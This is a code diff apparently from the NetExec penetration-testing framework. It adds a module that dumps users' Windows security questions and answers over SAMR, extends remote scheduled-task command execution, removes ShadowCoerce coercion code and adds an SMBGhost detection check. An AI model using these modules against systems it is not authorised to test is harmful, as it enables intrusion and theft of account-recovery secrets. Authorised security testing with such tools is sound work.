principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
|
||||
self.parse_dacl(principal_security_descriptor["Dacl"])
|
||||
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
|
||||
|
||||
def parse_dacl(self, dacl):
|
||||
"""Parses a DACL and extracts the dns host names with full control over the SCCM object."""
|
||||
self.context.log.debug("Parsing DACL")
|
||||
for ace in dacl["Data"]:
|
||||
self.parse_ace(ace)
|
||||
|
||||
def parse_ace(self, ace):
|
||||
"""Parses an ACE and resolves the SID if the SID of the ACE has full control."""
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]:
|
||||
ace = ace["Ace"]
|
||||
sid = ace["Sid"].formatCanonical()
|
||||
mask = ace["Mask"]
|
||||
fullcontrol = 0xf01ff
|
||||
if mask.hasPriv(fullcontrol):
|
||||
self.resolve_SID(sid)
|
||||
|
||||
def resolve_SID(self, sid):
|
||||
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
|
||||
try:
|
||||
self.context.log.debug(f"Resolving SID: {sid}")
|
||||
result = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
|
||||
)
|
||||
|
||||
parsed_result = parse_result_attributes(result)
|
||||
|
||||
if not parsed_result:
|
||||
return None
|
||||
else:
|
||||
parsed_result = parsed_result[0] # We only have one result as we always query a single SID
|
||||
|
||||
if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT:
|
||||
self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}")
|
||||
self.sccm_site_servers.append(parsed_result["dNSHostName"])
|
||||
elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT:
|
||||
if isinstance(parsed_result["member"], list):
|
||||
for member in parsed_result["member"]:
|
||||
member_sid = self.dn_to_sid(member)
|
||||
if member_sid:
|
||||
self.resolve_SID(member_sid)
|
||||
else: # Group has only one member
|
||||
member_sid = self.dn_to_sid(parsed_result["member"])
|
||||
if member_sid:
|
||||
self.resolve_SID(member_sid)
|
||||
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"SID not found in LDAP: {sid}, {e}")
|
||||
return ""
|
||||
|
||||
def dn_to_sid(self, dn) -> str:
|
||||
"""Tries to resolve a DN to a SID."""
|
||||
result = self.connection.ldapConnection.search(
|
||||
searchBase=self.base_dn,
|
||||
searchFilter=f"(distinguishedName={dn})",
|
||||
attributes=["sAMAccountName", "objectSid"],
|
||||
)
|
||||
|
||||
# Extract the SID of the object
|
||||
sid_raw = bytes(result[0][1][0][1].components[0])
|
||||
return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()
|
||||
@@ -15,17 +15,29 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
CMD Command to execute
|
||||
USER User to execute command as
|
||||
TASK OPTIONAL: Set a name for the scheduled task name
|
||||
FILE OPTIONAL: Set a name for the command output file
|
||||
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
|
||||
"""
|
||||
self.cmd = self.user = self.time = None
|
||||
self.cmd = self.user = self.task = self.file = self.location = self.time = None
|
||||
if "CMD" in module_options:
|
||||
self.cmd = module_options["CMD"]
|
||||
|
||||
if "USER" in module_options:
|
||||
self.user = module_options["USER"]
|
||||
|
||||
if "TASK" in module_options:
|
||||
self.task = module_options["TASK"]
|
||||
|
||||
if "FILE" in module_options:
|
||||
self.file = module_options["FILE"]
|
||||
|
||||
if "LOCATION" in module_options:
|
||||
self.location = module_options["LOCATION"]
|
||||
|
||||
name = "schtask_as"
|
||||
description = "Remotely execute a scheduled task as a logged on user"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -51,6 +63,9 @@ class NXCModule:
|
||||
connection.domain,
|
||||
self.user,
|
||||
self.cmd,
|
||||
self.file,
|
||||
self.task,
|
||||
self.location,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
@@ -79,7 +94,7 @@ class NXCModule:
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -99,6 +114,9 @@ class TSCH_EXEC:
|
||||
self.logger = logger
|
||||
self.cmd = cmd
|
||||
self.user = user
|
||||
self.file = file
|
||||
self.task = task
|
||||
self.location = location
|
||||
|
||||
if hashes is not None:
|
||||
if hashes.find(":") != -1:
|
||||
@@ -181,7 +199,11 @@ class TSCH_EXEC:
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
|
||||
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
|
||||
if self.file is None:
|
||||
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
|
||||
else:
|
||||
self.__output_filename = os.path.join(fileLocation, self.file)
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
@@ -207,9 +229,7 @@ class TSCH_EXEC:
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
tmpName = gen_random_string(8) if self.task is None else self.task
|
||||
xml = self.gen_xml(command, fileless)
|
||||
|
||||
self.logger.info(f"Task XML: {xml}")
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
from impacket.dcerpc.v5 import samr, transport
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from json import loads
|
||||
from traceback import format_exc as traceback_format_exc
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Adamkadaban: @Adamkadaban
|
||||
Based on research from @0gtweet (@gtworek)
|
||||
|
||||
Much of this code was copied from add_computer.py
|
||||
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
|
||||
"""
|
||||
|
||||
name = "security-questions"
|
||||
description = "Gets security questions and answers for users on computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module):
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
self.__target = self.__kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__targetIp = connection.host
|
||||
self.__port = context.smb_server_port
|
||||
self.__aesKey = context.aesKey
|
||||
self.__hashes = context.hash
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = ""
|
||||
self.__lmhash = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.getSAMRResetInfo(context)
|
||||
|
||||
def getSAMRResetInfo(self, context):
|
||||
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(445)
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# obtain server handle for samr connection
|
||||
resp = samr.hSamrConnect(dce)
|
||||
server_handle = resp["ServerHandle"]
|
||||
|
||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
|
||||
domains = resp["Buffer"]["Buffer"]
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
|
||||
|
||||
# obtain domain handle for samr connection
|
||||
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
|
||||
domain_handle = resp["DomainHandle"]
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumeration_context = 0
|
||||
|
||||
# try to iterate through users in domain entries for connection
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
try:
|
||||
context.log.info(f"Querying security questions for User: {user['Name']}")
|
||||
# request SAMR ID 30
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
|
||||
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
|
||||
|
||||
reset_data = info["Buffer"]["Reset"]["ResetData"]
|
||||
if reset_data == b"":
|
||||
continue
|
||||
reset_data = loads(reset_data)
|
||||
questions = reset_data["questions"]
|
||||
|
||||
if len(questions) == 0:
|
||||
context.log.highlight(f"User {user['Name']} has no security questions")
|
||||
else:
|
||||
for qna in questions:
|
||||
question = qna["question"]
|
||||
answer = qna["answer"]
|
||||
context.log.highlight(f"{user['Name']} - {question}: {answer}")
|
||||
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
except samr.DCERPCException as e:
|
||||
if "STATUS_INVALID_INFO_CLASS" in str(e):
|
||||
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
continue
|
||||
else:
|
||||
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
enumeration_context = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error: {e}")
|
||||
context.log.debug(traceback_format_exc())
|
||||
|
||||
finally:
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
dce.disconnect()
|
||||
+2
-259
@@ -1,22 +1,6 @@
|
||||
import time
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "shadowcoerce"
|
||||
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
|
||||
description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -35,245 +19,4 @@ class NXCModule:
|
||||
self.ipsc = bool(module_options["IPSC"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
c = CoerceAuth()
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe="FssagentRpc",
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
remoteHost=connection.host,
|
||||
)
|
||||
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
|
||||
if dce == 1:
|
||||
context.log.debug("First try failed. Creating another dce connection...")
|
||||
# Sleeping mandatory for second try
|
||||
time.sleep(2)
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe="FssagentRpc",
|
||||
remoteHost=connection.host,
|
||||
)
|
||||
|
||||
if self.ipsc:
|
||||
context.log.debug("ipsc = %s", self.ipsc)
|
||||
context.log.debug("Using IsPathShadowCopied!")
|
||||
result = c.IsPathShadowCopied(dce, self.listener)
|
||||
else:
|
||||
context.log.debug("ipsc = %s", self.ipsc)
|
||||
context.log.debug("Using the default IsPathSupported")
|
||||
result = c.IsPathSupported(dce, self.listener)
|
||||
|
||||
try:
|
||||
dce.disconnect()
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Error disconnecting DCE session: {e}")
|
||||
|
||||
if result:
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
|
||||
|
||||
else:
|
||||
context.log.debug("Target not vulnerable to ShadowCoerce")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
error_messages = system_errors.ERROR_MESSAGES
|
||||
error_messages.update(MSFSRVP_ERROR_CODES)
|
||||
if key in error_messages:
|
||||
error_msg_short = error_messages[key][0]
|
||||
error_msg_verbose = error_messages[key][1]
|
||||
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# Error Codes
|
||||
################################################################################
|
||||
MSFSRVP_ERROR_CODES = {
|
||||
0x80070005: (
|
||||
"E_ACCESSDENIED",
|
||||
"The caller does not have the permissions to perform the operation",
|
||||
),
|
||||
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
|
||||
0x80042301: (
|
||||
"FSRVP_E_BAD_STATE",
|
||||
"A method call was invalid because of the state of the server.",
|
||||
),
|
||||
0x80042316: (
|
||||
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
|
||||
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
|
||||
),
|
||||
0x8004230C: (
|
||||
"FSRVP_E_NOT_SUPPORTED",
|
||||
"The file store that contains the share to be shadow copied is not supported by the server.",
|
||||
),
|
||||
0x00000102: (
|
||||
"FSRVP_E_WAIT_TIMEOUT",
|
||||
"The wait for a shadow copy commit or expose operation has timed out.",
|
||||
),
|
||||
0xFFFFFFFF: (
|
||||
"FSRVP_E_WAIT_FAILED",
|
||||
"The wait for a shadow copy commit expose operation has failed.",
|
||||
),
|
||||
0x8004230D: (
|
||||
"FSRVP_E_OBJECT_ALREADY_EXISTS",
|
||||
"The specified object already exists.",
|
||||
),
|
||||
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
|
||||
0x8004231B: (
|
||||
"FSRVP_E_UNSUPPORTED_CONTEXT",
|
||||
"The specified context value is invalid.",
|
||||
),
|
||||
0x80042501: (
|
||||
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
|
||||
"The provided ShadowCopySetId does not exist.",
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class IsPathSupported(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathSupportedResponse(NDRCALL):
|
||||
structure = (
|
||||
("SupportedByThisProvider", BOOL),
|
||||
("OwnerMachineName", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class IsPathShadowCopied(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (("ShareName", WSTR),)
|
||||
|
||||
|
||||
class IsPathShadowCopiedResponse(NDRCALL):
|
||||
structure = (
|
||||
("ShadowCopyPresent", BOOL),
|
||||
("ShadowCopyCompatibility", LONG),
|
||||
)
|
||||
|
||||
|
||||
OPNUMS = {
|
||||
8: (IsPathSupported, IsPathSupportedResponse),
|
||||
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
|
||||
}
|
||||
|
||||
|
||||
class CoerceAuth:
|
||||
def connect(
|
||||
self,
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
target,
|
||||
pipe,
|
||||
doKerberos,
|
||||
dcHost,
|
||||
remoteHost,
|
||||
):
|
||||
binding_params = {
|
||||
"FssagentRpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
|
||||
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
|
||||
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
|
||||
dce.disconnect()
|
||||
return 1
|
||||
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Connected!")
|
||||
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
|
||||
nxc_logger.info("Successfully bound!")
|
||||
return dce
|
||||
|
||||
def IsPathShadowCopied(self, dce, listener):
|
||||
nxc_logger.debug("Sending IsPathShadowCopied!")
|
||||
try:
|
||||
request = IsPathShadowCopied()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
nxc_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def IsPathSupported(self, dce, listener):
|
||||
nxc_logger.debug("Sending IsPathSupported!")
|
||||
try:
|
||||
request = IsPathSupported()
|
||||
# only NETLOGON and SYSVOL were detected working here
|
||||
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
|
||||
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
|
||||
nxc_logger.debug("Attack may of may not have worked, check your listener...")
|
||||
return False
|
||||
|
||||
return True
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -0,0 +1,58 @@
|
||||
# everything is comming from https://github.com/ly4k/SMBGhost
|
||||
# credit to @ly4k_
|
||||
# module by : @r4vanan
|
||||
import socket
|
||||
import struct
|
||||
|
||||
# Constants
|
||||
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
|
||||
|
||||
# SMBGhost Packet
|
||||
SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
|
||||
|
||||
class NXCModule:
|
||||
name = "smbghost"
|
||||
description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
# Define options if needed
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
if self.perform_attack(connection.host):
|
||||
self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
|
||||
|
||||
def perform_attack(self, target_ip):
|
||||
self.context.log.debug("Performing SMBGhost check...")
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
|
||||
sock.settimeout(5)
|
||||
sock.connect((target_ip, 445))
|
||||
sock.send(SMBGHOST_PKT)
|
||||
|
||||
# Receive the first 4 bytes for length
|
||||
nb_data = sock.recv(4)
|
||||
if len(nb_data) < 4:
|
||||
self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
|
||||
return False
|
||||
|
||||
nb, = struct.unpack(">I", nb_data)
|
||||
res = sock.recv(nb)
|
||||
|
||||
# Check response for vulnerability
|
||||
if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
|
||||
return True
|
||||
else:
|
||||
self.context.log.debug(f"{target_ip} Not vulnerable.")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error while connecting to host: {e}")
|
||||
return False
|
||||
@@ -3,7 +3,6 @@ import errno
|
||||
from os.path import abspath, join, split, exists, splitext, getsize, sep
|
||||
from os import makedirs, remove, stat
|
||||
import time
|
||||
import traceback
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
@@ -159,8 +158,8 @@ class SMBSpiderPlus:
|
||||
remote_file.__smbConnection = self.smb.conn
|
||||
return self.read_chunk(remote_file)
|
||||
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
break
|
||||
|
||||
return chunk
|
||||
@@ -214,13 +213,13 @@ class SMBSpiderPlus:
|
||||
# Start the spider at the root of the share folder
|
||||
self.results[share_name] = {}
|
||||
self.spider_folder(share_name, "")
|
||||
except SessionError:
|
||||
traceback.print_exc()
|
||||
except SessionError as e:
|
||||
self.logger.exception(e)
|
||||
self.logger.fail("Got a session error while spidering.")
|
||||
self.reconnect()
|
||||
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
self.logger.exception(e)
|
||||
self.logger.fail(f"Error enumerating shares: {e!s}")
|
||||
|
||||
# Save the metadata.
|
||||
@@ -255,7 +254,7 @@ class SMBSpiderPlus:
|
||||
# Check file-dir exclusion filter.
|
||||
if any(d in next_filedir.lower() for d in self.exclude_filter):
|
||||
self.logger.info(f'The {result_type} "{next_filedir}" has been excluded')
|
||||
self.stats[f"{result_type}s_filtered"] += 1
|
||||
self.stats[f"num_{result_type}s_filtered"] += 1
|
||||
continue
|
||||
|
||||
if result_type == "folder":
|
||||
@@ -412,8 +411,7 @@ class SMBSpiderPlus:
|
||||
self.logger.display(f"Total folders found: {num_folders}")
|
||||
num_folders_filtered = self.stats.get("num_folders_filtered", 0)
|
||||
if num_folders_filtered:
|
||||
num_filtered_folders = len(num_folders_filtered)
|
||||
self.logger.display(f"Folders Filtered: {num_filtered_folders}")
|
||||
self.logger.display(f"Folders Filtered: {num_folders_filtered}")
|
||||
|
||||
# File statistics.
|
||||
num_files = self.stats.get("num_files", 0)
|
||||
|
||||
+99
-8
@@ -9,6 +9,7 @@ from termcolor import colored
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.dcerpc.v5 import rrp, samr, scmr
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError as SMBSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
@@ -88,11 +89,11 @@ class NXCModule:
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
|
||||
self.wcc_logger = logging.getLogger("WCC")
|
||||
self.wcc_logger.propagate = False
|
||||
log_filename = nxc_logger.init_log_file()
|
||||
@@ -160,7 +161,7 @@ class HostChecker:
|
||||
def run(self):
|
||||
self.init_checks()
|
||||
self.check_config()
|
||||
|
||||
|
||||
def init_checks(self):
|
||||
# Declare the checks to do and how to do them
|
||||
self.checks = [
|
||||
@@ -190,7 +191,15 @@ class HostChecker:
|
||||
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
|
||||
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
|
||||
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
|
||||
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}]),
|
||||
